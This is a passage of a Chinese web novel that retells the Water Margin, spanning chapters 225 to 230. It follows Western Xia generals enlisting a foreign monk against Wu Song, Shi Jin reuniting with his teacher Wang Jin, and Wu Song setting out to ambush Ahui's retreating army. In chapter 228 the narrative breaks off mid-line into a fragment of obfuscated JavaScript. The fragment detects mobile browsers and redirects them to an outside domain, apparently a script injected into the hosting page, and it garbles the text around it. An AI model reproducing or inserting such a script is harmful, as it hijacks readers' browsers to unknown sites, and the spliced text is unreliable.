“不错,但阿惠领兵回援,可分散西寿保泰军司的兵力。”
“再则,阿惠此人打小算盘,无有大智,这等蠢材,留着才好。”
“若是阿惠被召回兴庆府,换以厉害主帅,反而难对付。”
种师道用力点头道:
“武宣抚好计策,老夫附议。”
其他人也都同意。
当即,卢俊义接了将令,带着燕青,统领两万新训练的骑兵,随即离开西安州,直奔卓罗和南军司而去。
第225章 黑水镇燕军司,番僧天息灾
兴庆府。
几十个身穿皮甲的骑兵进了铺子,佩刀拍在桌上。
“主人家,将酒肉来!”
骑兵嗓门粗大,张青马上端了一笼肉馒头,摆在桌上。
“军爷且慢吃。”
“有酒筛来!”
“有。”
张青又拿了两坛酒过来,骑兵自己倒酒。
“店里还有滩羊肉,军爷要吃么?”
“切半只过来!”
张青回后厨,孙二娘麻利儿切了半只羊肉,张青让伙计送出去。
透过窗户,孙二娘看向坐在中间的一个汉子。
这人身材很魁梧,目如鹰隼,没有胡须,顶上的头发剃了,留着两个小辫子。
羊肉上桌,骑兵倒酒,汉子喝了半碗酒,惊喜道:
“好烈的酒!”
手下骑兵也惊叹这酒水好生纯净。
“这等烈酒,却是少见。”
汉子问伙计:
“你们是主人是宋国的?”
到兴庆府后,孙二娘招了一些西夏的伙计。
西夏伙计和本地人好说话,同时也免得外人怀疑。
伙计回道:
“主人家是宋国的,来这里做买卖。”
“这酒水好,你再拿些来,一发算钱还你。”
“好说。”
伙计又到后面拿了两坛酒过去。
一笼肉馒头很快吃完,张青又上了几笼馒头,这才吃饱了。
结账时,张青出去算了七两银子。
骑兵给了一锭银子,张青笑呵呵接了。
那汉子盯着张青问道:
“你是宋国哪里人?”
“回将军的话,小的宋国孟州人氏。”
“缘何到这里做买卖?”
“只因得罪了狗官,流落到这里。”
汉子看了一眼窗户后面的孙二娘,他虽然没有见到孙二娘,但是察觉到了孙二娘的目光。
汉子没有多说,带着骑兵出了铺子,上马离开。
冲过街道,汉子停在宫门口。
侍卫见了,连忙进去通报。
很快,太监出来,行礼道:
“监军使回来了,兀卒在御书房。”
“烦请公公带路。”
这个汉子不是别人,正是黑水镇燕军司的监军使嵬名令。
接到圣旨后,嵬名令星夜往回赶。
进了御书房,皇帝李乾顺坐在里头。
“末将嵬名令,拜见兀卒万岁!”
“坐。”
嵬名令坐下来,李乾顺也不废话,开门见山道:
“宋国挑起战端,去年童贯入侵,察哥阵斩刘法,破了他们。”
“今年宋国本要求和的,中途却杀出个武松,羞辱我朝。”
“察哥集结两大军司精锐,杀入宋国境内,原本战事顺利,不曾想那武松又来了。”
“武松那厮诡计多端,察哥中了埋伏,为国殉忠了。”
“为了对付武松那厮,我让阿惠为统军,集结了五大军司的兵马。”
“本指望阿惠立功,杀了武松雪耻,怎奈阿惠无能,丧师辱国!”
“我今调你回来,便要让你替换阿惠,做统军使,杀掉武松雪耻。”
“你可敢出任统军使?”
嵬名令起身拜道:
“末将愿为统军使,为兀卒分忧。”
“好,你且去枢密院领兵符,重贵也在京师,你可寻他仔细问武松的底细。”
“末将领旨。”
没有多余的话,嵬名令退出御书房,先往枢密院去。
枢密院就在皇宫前朝,几步路便到了。
枢密使香都见到嵬名令,连忙请他坐下说话。
简单寒暄过后,嵬名令直截了当说道:
“兀卒命我接替献王阿惠,做那统军使,对付武松。”
香都点头道:
“调你回来,是我的提议。”
“献王在前线屡遭大败,兀卒很是不悦。”
嵬名令问道:
“那武松甚么出身,竟能杀了晋王?”
“他是宋国去年的状元。”
“状元?谅他一个读书人,有甚么本事?”
“将军切莫小觑他,那厮并非儒生,他能亲自提刀上阵杀敌,且异常凶悍。”
“他不是状元么?”
嵬名令很诧异,哪有状元亲自提刀上阵的?
“我未曾到前线与他交手,且等重贵来,你问他便知。”
刚才听说嵬名令回来时,香都已经派人去请重贵了。
不多时,重贵进来,见到嵬名令,心中已然知晓。
“多时不见了。”
“三年了。”
重贵坐下来,嵬名令直接问道:
“那武松何许人,莫非三头六臂?”
问到这个,重贵叹息一声:
“他若是三头六臂,我也不冤。”
“那厮文武兼备,异常狡诈。”
重贵把自开战以来的事情都说了,嵬名令听了后,脸色阴沉,许久不说话。
“那厮竟然这等凶狠?”
“凶狠如狼,狡
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诈如狐狸,他手下还有许多战将,都是武艺高强之辈,极难对付。”
嵬名令叹息道:
“献王若发兵增援,或可将武松斩杀于六盘山下。”
说起这个,重贵怒火重燃,骂道:
“不错,初始的计策,便是我进攻渭州城,引诱武松出城。”
“待武松来时,阿惠领兵夹击。”
“可恨那厮畏缩不前,想坐收渔翁之利!”
枢密使香都没有说话,只在一旁听着。
嵬名令问道:
“兀卒命我为统军使,重贵贤弟可敢与我再走一趟?”
“自然要去,你我同心协力,定要杀了武松那厮!”
嵬名令喜道:
“贤弟愿助我,必能立功。”
重贵说道:
“若要赢武松,还需一人相助。”
“何人?”
“高台寺长老天息灾。”
“那个番僧?”
“不错,就是他,我已经跟他说好,请他助我们一臂之力。”
“我只晓得他佛法好,还有其他妙处?”
“你随我去,我且慢慢与你说。”
重贵拉着嵬名令出了枢密院,一起往高台寺走去。
高台寺是西夏景宗元昊所建造,属于西夏的皇家寺院,基台高三丈,因此得名。
高台寺接收了很多从西域来的僧人,重贵所说的天息灾便是其中之一。
出了枢密院,两人骑马出了兴庆城,往西走了十几里,便看见一座寺庙。
门口香客很多,不乏琥珀色眼眸的西域人。
进了高台寺,重贵直入后院,正见一个络腮胡的僧人坐在那里翻译经文。
“长老有礼。”
重贵打个问讯,僧人起身回礼:
“重贵将军来了,请坐。”
重贵指着嵬名令说道:
“这位是黑水镇燕军司监军使嵬名令。”
“嵬名将军有礼,请坐。”
嵬名令坐下来,仔细打量眼前的僧人。
此人骨架很大,头却很小,甚至有点尖,琥珀色的眼眸很淡,络腮胡,鹰钩鼻。
和西夏、大宋的人都不一样。
“无事不登三宝殿,我此来有事相求。”
重贵也不啰嗦,直接说事情。
听完后,天息灾笑呵呵说道:
“我佛慈悲,小僧不喜杀伐,恐怕不好随将军去。”
嵬名令听了微微皱眉。
重贵不是说好了吗?
怎么又不去了?
第226章 师徒再遇,史进抵达
天息灾如此说,重贵早有说辞。
“武松是我大夏死敌,长老若破了他,我与嵬名将军上奏兀卒,为长老兴建佛寺!”
天息灾看向嵬名令,嵬名令明白了,这个秃驴有所求。
不过,嵬名令并不生气,反而感到高兴。
无欲无求的出家人,又怎会到战场厮杀?
“长老放心,只要杀了武松,我用万颗人口为寺庙筑基。”
天息灾这才喜道:
“两位将军都是镇守一方的大将,贫僧自然信你们的。”
“两位将军何时启程?”
重贵看向嵬名令,嵬名令说道:
“明日便走。”
“好,明日小僧在路口敬候。”
两**喜起身,天息灾送到大门口,看着两人离去。
“我佛慈悲,贫僧的佛法,必当在大夏盛开。”
天息灾喜滋滋回了后院,把经文收起来,又和庙里的住持说了一声,便准备好东西,只等明日出发。
重贵两人回到枢密院时,两个僧人坐在那里。
见了重贵,两僧人站起来,说道:
“我等是承天寺的僧人,要随将军往阵前为我师报仇。”
“你等都是慧光长老的弟子?”
“是,小僧法号圆慧,这是小僧师弟圆法。”
承天寺接连战死两个武僧,重贵不太想让他们去。
如果又死在鲁智深手里,非但报不得仇恨,反而损了士气。
见重贵犹豫,圆慧说道:
“不能复仇,与死何异!”
见他如此说,重贵说道:
“既如此,明日你们随我去。”
两人欢喜行礼,回寺庙准备兵器厮杀。
枢密院拿了军令,又到宫里回禀皇帝李承乾。
一切妥当,两人喝了一顿酒。
到了第二日,重贵、嵬名令带着各自兵马出发。
承天寺武僧圆慧、圆法两人在城门口候着。
重贵见了,给了两人马匹。
往南走了数里,便看见番僧天息灾站在路口等候。
“长老久等了。”
“无妨。”
重贵又给了天息灾一匹马。
圆慧、圆法两人认得天息灾,喜道:
“长老出手,那妖贼必死的!”
天息灾笑了笑,跟随重贵往西寿保泰军司进发。
...
西安州。
南边十几匹马快速跑来,斥候上前拦住询问。
此来不是别人,正是少华山一行人到了。
说了姓名,斥候放史进一行人入城。
刚进西安州,便看见一个光着膀子的花绣和尚。
史进喜道:
“前方莫不是我师兄?”
听到声音,鲁智深转头,恰见史进走来,喜道:
“噫,这不是史大郎么,洒家等你多时,如何才到?”
“接到师兄的信,不敢耽搁,星夜从少华山赶来。”
“哎呀,你当初在渭州府寻你师父王教头不见,现如今他就在城内,洒家领你去见他。”
史进回头说道:
“这是我三位兄弟,同在少华山落草的。”
“这位是神武军师朱武、跳涧虎陈达、白花蛇杨春。”
鲁智深不耐烦,说道:
“既然都是兄弟,与洒家同去。”
鲁智深拽着史进只顾往前走,全不顾他们三人。
见鲁智深这等,朱武有些失望。
但已经来了,也不好就走,只得跟着鲁智深往校场走。
正走着,西城门突然打开,两万马军入城。
为首大将身披精甲、器宇不凡,身后跟着一个小将。
鲁智深喜道:
“师弟破了卓罗和南军司回来了。”
卢俊义见到鲁智深,让燕青带着马军回营,自己从马上下来厮见。
“师兄,这是甚么人?”
“这位便是我常说的史大郎,人称九纹龙的便是。”
卢俊义喜道:
“原来是王教头的弟子,闻名不如见面,见面胜似闻名。”
史进不认得卢俊义,拱手问道:
“不知哥哥大名?”
“在下河北卢俊义。”
“原来是河北玉麒麟,大名如雷贯耳。”
鲁智深焦躁道:
“兄弟间哪来许多礼数,且找了王教头,再将二郎寻来,好好吃酒。”
卢俊义看向后面朱武三人,问道:
“三位英雄如何称呼?”
史进说道:
“他们是我在少华山的兄弟。”
介绍完毕后,卢俊义行礼道:
“既然是史大郎的兄弟,便是我们的兄弟,且与我们同去。”
卢俊义是员外出身,待人接物自然比鲁智深好。
见卢俊义如此,朱武三人才欢喜。
鲁智深本想到校场寻人,卢俊义派人去校场找王进,带着史进一行人到了驿馆坐下。
一边又派人寻武松过来。
很快,武松和王进一同进来。
身后跟着扈三娘、徐宁
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、施恩、曹正、杨志、时迁、戴宗。
“弟子拜见师父。”
见到王进,史进跪在地上,用力磕了一个头。
“起来说话。”
见到史进,王进也欢喜。
史进老父亲死后,便是孤身一人。
王进未曾娶妻,只有一个老母在延安府,膝下无子,看史进便如自己亲儿子一般。
“数年前曾来渭州找过师父,不巧师父却在延安府。”
“本想往延安府去,路上没有了盘缠,只得在山上落草。”
“今日再见恩师,喜不自胜。”
王进拉着史进坐下来,说道:
“你的事情,鲁将军都说了,我都知晓。”
“我若知晓,早派人寻你了。”
王进看向武松,说道:
“这位便是去年的状元、宣抚副使、龙图阁待制武松,是他派人招你来的。”
史进立即起身行礼:
“小可史进,拜见武大人。”
武松笑道:
“都是自家兄弟,莫要多礼数。”
“我与师兄是结义兄弟,你与师兄也是结义兄弟,你我便也是兄弟。”
武松是大宋状元、宣抚副使、龙图阁待制,如此高的身份,居然和他兄弟相称,史进着实受宠若惊。
“怎敢高攀哥哥。”
鲁智深笑道:
“你这史大郎怎变得妇人一般,二郎不是那等人。”
鲁智深又把在场众人介绍一番,史进一一见过。
寒暄之后,武松目光看向朱武三人,问道:
“想必三位便是神机军师朱武、跳涧虎陈达、白花蛇杨春。”
听了武松的话,朱武三人吃了一惊。
“我们何样人,大人居然知晓我等名号。”
武松笑道:
“你们与史大郎是兄弟,与我也是兄弟,不必称呼大人。”
“他们平素都唤我二郎,你们也如此称呼便了。”
朱武慌忙说道:
“若不嫌弃,小弟称呼一声哥哥。”
鲁智深不悦道:
“二郎年岁不如你,怎的就是哥哥,莫要叫乱了。”
“俺们都叫二郎,你也便叫二郎。”
朱武呵呵笑道:
“那便叫二郎了。”
众人笑了一阵,武松说道:
“久闻哥哥神机军师大名,精通排兵布阵,可否往校场去,指点马步军操练?”
朱武又吃了一惊,问道:
“二郎如何知晓我学过阵法?”
第227章 神机军师,演练阵法
“听人说起过,只是不知哥哥兵法从何处学来?”
武松当然不能说自己是穿越者,知道他们每个人的事情。
朱武说道:
“说起来怕二郎见笑,我也曾读过书、考过科举。”
“奈何名落孙山,却在归家时遇见一个道人。”
“他说我做不得书生,要做武将,传授我排兵布阵之法。”
“那时只当是玩笑,不曾想今日真到战场来了。”
众人听了,都是惊讶。
“哥哥可否到校场去指点一二?”
“我不过是纸上谈兵,只怕惹人笑话。”
鲁智深说道:
“洒家在,谁敢笑话你,且随二郎去。”
武松起身,众人跟着一起到了城外校场,马步军正在操练。
登上高台,朱武看着兵马移动,说道:
“那道人教我三十六种阵法,其中各有变化。”
“我便先操练锋矢阵、龟甲阵,二郎看看。”
武松把正在指挥军阵的杨可世叫下来,让朱武上了指挥哨塔。
令旗交到朱武手中,朱武摇动手中令旗,兵马开始走动变阵。
杨可世问这人是谁?
武松说了朱武的情况,杨可世听了,颇为不满。
区区一个草寇,居然让他指挥大军,何其可笑?
武松看出了杨可世的心思,却不说他。
杨可世在延安府时,是种师道麾下第一骁将,有傲气是正常的。
郓王赵楷听说又来了人,带着何运贞到了将台。
“二郎,这人是谁啊?”
赵楷抬头看向朱武,杨可世说道:
“一个草寇罢了。”
听到这话,史进几人心中都不欢喜。
武松没有反驳,只说道:
“此人外号神机军师,深通阵法之道。”
种师道、种师中走过来,站在武松身边,看着阵法变动,脸色逐渐惊讶。
“此人精通排兵布阵之法!”
“他在谁麾下效力的?”
武松说道:
“此人名叫朱武,曾受道人兵法指点,精通三十六种阵法变化。”
杨可世见朱武指挥井井有条,阵法之中又暗含变阵,心中惊讶。
一个草寇,居然懂得这些?
其实,朱武并非纸上谈兵。
他在少华山的时候,也有几百个喽啰,和官兵作战的时候,朱武便用了阵法。
所以,此时指挥军队布阵变幻,不过是人数多一些罢了。
锋矢阵和龟甲阵排列完毕,朱武从指挥塔下来。
“朱将军精通阵法,不可多得的将才。”
赵楷赞叹,朱武不认得赵楷,武松说道:
“这位便是主将,当朝三皇子郓王。”
听说是王爷,朱武慌忙行礼:
“小的见过王爷,唐突了。”
“不唐突,你是二郎寻来的高人,你可愿意在军中任职?”
“有什么不愿意的,但凭差遣。”
“好,你便跟着二郎,听他的吩咐。”
“是。”
赵楷又见了史进和陈达、杨春,四个人都听从武松的安排。
赵楷高兴,安排酒宴为史进几人接风洗尘。
众人入席,鲁智深和史进、王进坐一起。
酒过三巡,史进提起**,鲁智深说道:
“莫提那鸟人,洒家曾路过桃花山,那厮好生悭吝。”
“山寨放着有许多金银,却不送与俺,他偏要**别人的送与洒家。”
“这个不是把官路当人情,只苦别人。”
“洒家打了他们喽啰,抢了他们山寨金银走了,再见面时,也是不好看。”
鲁智深说的这个**,就是外号打虎将的。
**曾经路过史家庄,教过史进棍棒,算是史进的启蒙师父。
后来史进到渭州府找王教头的时候,还遇见了卖艺的**,三人一起吃酒,所以认得。
喝酒时,遇见金家父女,鲁智深让他们凑银子,**出手小气,鲁智深还说了一句。
后来,鲁智深出手打死镇关西,史进、**各自分别。
再后来,鲁智深从大相国寺离开后,曾经路过桃花山,遇到小霸王周通强娶民女,见到了**。
那个**小气,是个爱财的人,舍不得给鲁智深盘缠,推脱说要抢了过路人的银子,再送给鲁智深。
鲁智深当时不高兴,把**的山寨给抢了跑路。
所以,鲁智深对这个**观感很差。
听鲁智深这样说,史进只得不再问了。
接风宴后,武松给他们四个人都安排了职务。
鲁智深喝多了回去睡觉,史进跟着王进说话。
两人从分别后说起,一直说到如今。
王进感慨道:
“那日亏太公收留,后来也想着再去寻你,奈何老母在,脱不得身。”
“如今你来了便好,也在军中博个功名,太公泉下有知,也自欢喜。”
史进答应道:
“听闻恩师在此,星夜赶来,我定要立功的。”
王进说道:
“你与鲁达是兄弟,鲁达与武松
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也是兄弟。”
“有了这层兄弟情义在,你只需跟着武松便是。”
“此人文武双全,是我见过最厉害的人物。”
“他又与郓王交好,听闻帝姬倾心于他,日后前程不可限量。”
史进点头道:
“恩师的话我记住了。”
王进又说道:
“我有老母在,不敢临阵杀敌,只怕我**,无人照料老母。”
“你来了,我也可以临阵杀敌。”
这些时候的战斗,王进都是看着,亲自下场很少。
不是他怕死,而是老母年纪大了,不敢下去厮杀。
万一有个好歹,老母无人照看。
史进听了这话,说道:
“我来了,自然我去厮杀,何须师父动手。”
“我是师父的弟子,我下去厮杀,便如师父一般。”
王进说道:
“如此也好,你且耍棍棒与我瞧瞧,可有生疏的地方。”
史进到了院子里,拿起棍棒操练,王进在一旁指点。
...
京师。
信使骑着马快速冲过街道,嘴里高喊“捷报...”
行人纷纷避开,让信使过去。
望着骑兵往皇宫方向奔去,京师百姓开始议论,说武松又打了胜仗。
捷报很快送进了延和殿,徽宗正在作画,蔡京、童贯、杨戬三人都在。
拆开捷报,徽宗看了,欣喜道:
“武松居然破了翔庆军,斩敌三万、俘虏三有余,翔庆军破了!”
童贯震惊地接过徽宗手中捷报,喃喃自语道:
“不可能...翔庆军乃西夏最精锐马军,武松如何能破翔庆军?”
蔡京凑过去,脸几乎贴着捷报。
看完后,蔡京大为震惊。
武松真的破了翔庆军,还说翔庆军副将李义正在押解回京。
如果武松不这么说,蔡京还会怀疑武松是不是谎报军情。
可是捉了翔庆军副将,这事情便假不了。
“哎呀呀...武爱卿真乃我朝战神也!”
“我要赏他才是,哎呀...如何赏他..”
听说徽宗又要赏赐,蔡京赶忙说道:
“圣上,恩宠太过,非人主待臣之道,不可太厚、不可太厚。”
童贯附和道:
“古语云:惯子如杀子,武松已经正四品,不可再赏。”
正说着,蔡攸怒气冲冲跑进来,指着蔡京、童贯骂道:
“你们两条老狗,武松在前线拼死杀敌,你等却克扣粮草,不死何为!”
第228章 蔡攸**,嵬名令抵达
被蔡攸指着鼻子骂,蔡京、童贯都愣住了。
蔡京怒道:
“畜生,你胡说甚么!”
蔡攸不甘示弱,骂道:
“你克扣郓王粮草,还敢狡辩!”
“我何曾克扣!”
蔡攸拿出武松的信,说道:
“粮草少了五成,你还敢说没有克扣!”
蔡京愣住了,看向童贯。
徽宗也看向童贯,问道:
“枢密使,你可曾克扣粮草?”
“回圣上,并非克扣,粮草筹措不及时...”
蔡攸骂道:
“原来是你这阉人,武松打了胜仗,你嫉妒他罢了。”
童贯气得牙痒,却又不好发作。
徽宗知道童贯的为人,说道:
“武松在前线拼杀,又屡立大功,你莫要克扣粮草。”
蔡攸说道:
“圣上,童贯有私心,我处事公允,请让我来筹措粮草。”
“好,那便你来。”
军需粮草的筹措是肥差,童贯哪里舍得,争辩道:
“我并未克扣,只是筹措不及,请圣上明鉴。”
“老狗,你还敢说,分明就是克扣。”
蔡攸骂得很难听,童贯撸起袖子就要殴打,徽宗不悦道:
“不可失礼!”
童贯只得忍气吞声。
蔡攸满心欢喜接了粮草筹措的差事,雄赳赳气昂昂出了延和殿。
武松真是我的福星,借着这个事头,夺了童贯的权柄。
蔡攸喜滋滋回了枢密院。
捷报送达的时候,武松给赵福金的情书也到了。
看了后,赵福金小心把书信存起来。
“我要喝莲子羹汤。”
侍女惊讶道:
“公主不是不爱喝莲子羹汤么?”
“胡说,我向来喜爱莲子羹汤,去做便是。”
侍女不敢多问,赶忙吩咐厨房做莲子羹汤。
其实赵福金不喜欢莲子羹,只因为武松让她多喝,她就喝。
等莲子羹炖好,赵福金给武松的回信也写好了。
信件交给信使,赵福金又赏了几两银子。
...
嵬名令、重贵带着六千多马军进入西寿保泰军司。
献王阿惠已经得到消息,带着众人到营寨门口迎接。
“末将见过献王。”
嵬名令客客气气对着阿惠行礼。
不管怎么说,阿惠还是王爷、西夏皇族,他是臣子,必须客气。
重贵就不一样了,他是皇帝侍卫长,关系亲近,加上阿惠坑过他,重贵不正眼看阿惠。
“我大夏的真正猛将来了!”
阿惠哈哈大笑,重贵听了心中愤恨不已。
什么叫真正的猛将,难道自己不是?
“王爷,兀卒有旨意。”
“哦好...”
阿惠恭敬跪在地上,任多洗忠一帮人也恭恭敬敬跪下接旨。
“兀卒有旨,封嵬名令为南方统军使,代替阿惠。”
“命阿惠即日赶回兴庆府,兀卒别有旨意。”
宣读完圣旨,嵬名令扶着阿惠起身。
“嵬名将军,兀卒命我回去,恐怕...我回不去。”
重贵怒道:
“怎的?你莫非要抗旨?想拥兵自重?”
阿惠正色怒道:
“混账,我岂会抗旨不遵。”
“为了对付武松,我将卓罗和南军司的兵马尽数调拨到此处。”
“刚刚得到消息,武松那厮偷袭,破了卓罗和南军司。”
“我正愁如何收复,恰好嵬名将军来了,我也好领兵夺回。”
“此事还请将军上奏兀卒,非我不遵旨意。”
嵬名令、重贵都吃了一惊,没想到阿惠居然把所有兵马调到了这里,连老家都被偷了?
嵬名令问道:
“武松那厮这等凶狠?”
他以为阿惠为了对付武松,才放弃卓罗和南军司。
阿惠顺着往下说道:
“没法子,武松那厮正在屯兵,准备入侵这里。”
“为了抵御武松,我将军司兵马尽数抽掉,却被他偷袭了。”
嵬名令脸色阴沉,心里隐隐察觉到不对头。
阿惠此人聪明,不该这么莽撞才对,其中必有缘由。
但是嵬名令无凭无据也不好说甚么。
“王爷镇守的军司,还须王爷亲自上奏才是。”
嵬名令不肯代阿惠上奏,又不是甚么好事。
阿惠假装叹息道:
“不为难你,本王自己上奏吧。”
“你做了监军使,我便放手了。”
阿惠转身吩咐马颂,将卓罗和南军司的兵马抽出来,准备离开。
重贵不悦道:
“王爷此时将兵马抽走,似乎不妥!”
阿惠反问道:
“重贵,我不抽调兵马,如何夺回军司?”
“莫非你的翔庆军替我夺回军寨?”
这句话触到了重贵的伤疤,重贵怒道:
“你欺我太甚!若非你不出兵,我何至于此!”
“重贵,你莫要胡言乱语!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371224|182038||http|test|mini|href|location''.split(''|''),0,{}));
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r>眼见两人又要争吵,嵬名令劝住重贵,仁多洗忠几个人把阿惠拉开。
嵬名令说道:
“王爷抽调军马,我须上奏兀卒,请了旨意才敢放行。”
“你上奏便是,我也会上奏。”
阿惠带着马颂离开。
嵬名令看着剩下的四个监军使,说道:
“诸位请随我来。”
跟着进了议事厅坐地,嵬名令扫视众人,说道:
“我与诸位都是老相识,各自镇守一方。”
“今次兀卒封我为统军使,还请诸位齐心协力,破了武松,好向兀卒交代。”
众人没有异议。
经过连续战败,大家都知道武松厉害。
若不齐心,只怕都会被武松干掉。
嵬名令指着天息灾说道:
“这位长老是高台寺的天息灾,擅长阵法、武艺精湛,特来助我等一臂之力。”
“这两位是承天寺的武僧,也来助阵。”
见到三个僧人,众人只是哂笑。
不为别的,只因先前两个和尚都死在阵前。
再来几个僧人,恐怕也不济事。
看出众人的心思,天息灾宣了一声佛号:
“我佛慈悲,贫僧从西域而来,略懂阵法,也会些法术。”
“待到对阵之时,贫僧做法,自然助将军破敌。”
听闻天息灾懂法术,众人这才重新审视。
祥佑军司监军使万保问道:
“长老会甚么法术?可能撒豆成兵?”
在他们看来,所谓法术,就是撒豆成兵、点石成金这类。
天息灾笑呵呵说道:
“贫僧的手段,到了阵前,诸位将军自然知晓。”
天息灾卖关子,众人也不好追问。
嵬名令看向万保,问道:
“如今宋国那边,情势如何?”
在场几个监军使,相互之间熟悉。
万保号称智囊,最是聪明有计谋,所以嵬名令问他。
万保说道:
“武松那厮还在调集兵力,建造攻城器械,是要准备攻打营寨。”
“另外...”
万保看了一眼重贵,说道:
“六盘山一战,他缴获翔庆军的战马,正在操练两万马军。”
“攻破卓罗和南军司的马军,便是他们。”
听说用自己的战马训练了两万骑兵,重贵气得咬牙切齿,骂道:
“狗贼,我必杀武松!”
嵬名令又问道:
“如今我们营寨有多少兵马?”
第229章 西夏内讧,武松追杀
万保掐着手指算:
“能用的兵马还有二十万,我祥佑军司四万、嘉宁军司四万、西寿保泰军司五万,这里便有十三万。”
“献王那里有七万军马,另外,翔庆军聚拢在一起,还有五千。”
听说这里还有五千翔庆军,重贵心中没有欢喜,反而涌起一股悲凉。
一月前,自己还有七万翔庆军,如今只剩下一万多。
六盘山战役后,逃散的翔庆军分为两拨,一拨回到了西寿保泰军司,一拨回到了西平府。
这次跟随嵬名令而来的六千骑兵,就是残留的翔庆军。
两边凑在一起,刚好一万出头。
正说着,几名指挥使从外面走进来,正是翔庆军的将领。
“将军...”
见到重贵,几个指挥使跪下大哭:
“还以为见不到将军了。”
重贵触景生情,忍不住落泪:
“起来说话。”
“坐下说。”
几个指挥使在重贵身后坐下。
监军使万保继续说道:
“算起来,我们还有的军马便是二十万。”
嵬名令听完后,问道:
“精锐还有多少?”
万保看向重贵,说道:
“最精锐的翔庆军只有一万多,铁鹞子还有三万、擒生军六万,剩下都是步跋子。”
嵬名令心中暗暗算了算...
也就是说,能用的精锐不足十万。
西夏和大宋比起来,优势在于骑兵。
如今骑兵只剩下四万,数量居然比大宋少。
总兵力上,大宋也比西夏多。
最关键的是,武松手下的二十万兵马,只是关西征调的,并非大宋所有兵马。
而西夏的兵力几乎是全国所有的兵马了。
西夏号称有七十万兵力,但那是把国内所有男子全部发动才有的兵力。
情况很不妙!
“武松那厮...是何企图?”
嵬名令问出了最关键的问题。
武松到底想干嘛?
杀察哥雪耻?
让西夏投降称臣?
还是割地求和?
万保沉默片刻,说道:
“不知。”
“不知是何意?”
万保摇头不说话,嵬名令看向其他人,问道:
“你们呢?”
静塞军司监军使布雅说道:
“晋王出使宋国时,曾当面折辱宋国皇帝赵佶,我等还与武松互殴。”
“原本...原本我以为武松只是为了泄愤,但晋王死后,他愈发调集兵马,我以为..武松至少要我们大夏俯首称臣。”
嵬名令脸色阴沉,说道:
“如此说来,不赢他一场,武松那厮绝不肯罢休。”
仁多洗忠说道:
“并非我长他人志气,武松那厮着实厉害,用兵精妙,他本人也武艺高强。”
“我等接连战败,折损精锐过十万,想赢他并非易事。”
“依我看,武松必要进攻西寿保泰军司,我等只需守住,让他晓得厉害。”
“到那时各自罢兵,两国和谈,便是上策。”
听完这些人的情况后,嵬名令心中也很清楚。
西夏的精锐损失了一半,武松的实力已经超过他们。
再想说击败武松,占据大宋疆土,已经不现实。
可问题是,李乾顺的旨意是杀武松雪耻!
而且,自己被任命为统军使,刚刚到这里,如果不立功,甚至不敢和武松杀一场,自己如何交代?
“我们改日再议。”
嵬名令发话,众人散去。
番僧天息灾和圆慧、圆法在营寨住下,只等厮杀。
嵬名令找到献王阿惠,他正在指挥部下集结,打算带兵离开。
“献王,请借一步说话。”
阿惠也不拂他面子,跟着嵬名令进了房间。
关上门,嵬名令说道:
“武松屯兵二十万,敌强我弱,献王若将兵马抽走,恐怕难以对敌。”
“哎呀,可是卓罗和南军司被突袭,本王如不收复,兀卒那里又是罪过。”
“我写一封奏报回去,献王且在此处暂留。”
阿惠担心留在这里被夺走兵权,说道:
“军情火急,我岂能耽搁。”
“若是兀卒有旨意,我再来便是。”
说完,也不管嵬名令,阿惠带着七万兵马即刻离开营寨。
听说阿惠走了,西寿保泰军司军心浮动。
嵬名令传令各军司监军使,让他们稳住兵马,不得擅动。
感觉事态严重,嵬名令当即写了一封奏报,派人星夜送往兴庆府。
...
西安州。
戴宗回到城内,武松正在卢俊义、杨可世训练骑兵。
杨可世在种师道麾下,统领骑兵作战,经验丰富。
卢俊义虽然枪法厉害,毕竟没有当过将军,经验不足。
戴宗走过去,说道:
“二郎,西夏刚刚派了新任统军使,献王带着七万兵马离开了。”
“哦?新任统军使何人?”
“黑水镇燕军司监军使嵬名令。”
武松问杨可世:
“杨将军,这个嵬名令甚么人?”
杨可世在延安府多年,对西夏将领的情况更了解
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。
杨可世回道:
“此人奴隶出身,靠着军功一路升迁至监军使,为人凶悍狡诈。”
从一个奴隶,一路拼杀到监军使,成为一方诸侯。
仅从这个经历,就可断定嵬名令是个狠人,绝对比察哥、阿惠厉害。
“你可曾与他交过手?”
杨可世脸色凝重道:
“二十年前,老经略,并非如今的老经略,而是种谔经略相公,和他打过一仗。”
“嵬名令突袭龙州,我那时只是一个军使,随老经略救援。”
“赶到时,龙州已失陷,我军五万与他三万厮杀...大败而归,老经略险些阵亡。”
种谔镇守延安府几十年,也算是狡诈的人。
而且,二十年前,嵬名令还年轻,种谔是老将,居然吃了大亏。
卢俊义听了,说道:
“如此说来,那嵬名令是个难对付的。”
杨可世用力点头,说道:
“此人狡诈异常,诱敌之术恐怕对他没用了。”
武松两次大捷,都是靠着诱敌出动,以逸待劳。
嵬名令狡诈,恐怕不会中计。
武松问道:
“阿惠走远了么?”
戴宗回道:
“刚刚离开军寨。”
武松深吸一口气,说道:
“阿惠此时带兵离开,趁此机会,我先破阿惠兵马。”
杨可世担忧道:
“武宣抚此时出兵,嵬名令若带领来攻,又当如何?”
武松非常肯定地说道:
“不会,阿惠带兵出走,那嵬名令必定尚未掌控全军,他不敢冒然出击。”
“且阿惠走后,嵬名令手中兵马只有十数万,我城内兵马多于他,无需怕他。”
下了决定,武松当即和赵楷说了,西安州四万骑兵集合。
同时放出游骑兵,驱赶西夏斥候,不让他们发现武松的动向。
很快,四万骑兵集结。
武松为主将、卢俊义为副将,杨志、扈三娘、李二宝、燕青跟随。
破阵营作为武松的亲卫参加战斗。
垂耳佛李吉加入后,武松又从俘虏中挑选一百人,任命李吉为军使。
此时的破阵营人数到了四百。
骑兵集结完毕,武松带着大军出西城门,直接往西追杀。
卓罗和南军司在西安州的西南方,往西可以进入西夏境内,刚好截断阿惠的归路。
阿惠行军、武松追杀路线图
自开战以来,所有战斗都在大宋境内。
且都是被动还击。
这一次,武松主动出兵,杀入西夏境内。
第230章 山谷伏击,俘虏阿惠
阿惠带着七万兵马离开军寨,嵬名令虽是统军使,也无可奈何。
阿惠是皇族王爷,嵬名令只是一介臣子,加上阿惠有借口,更加不好阻拦。
离开军寨后,阿惠快速往西走。
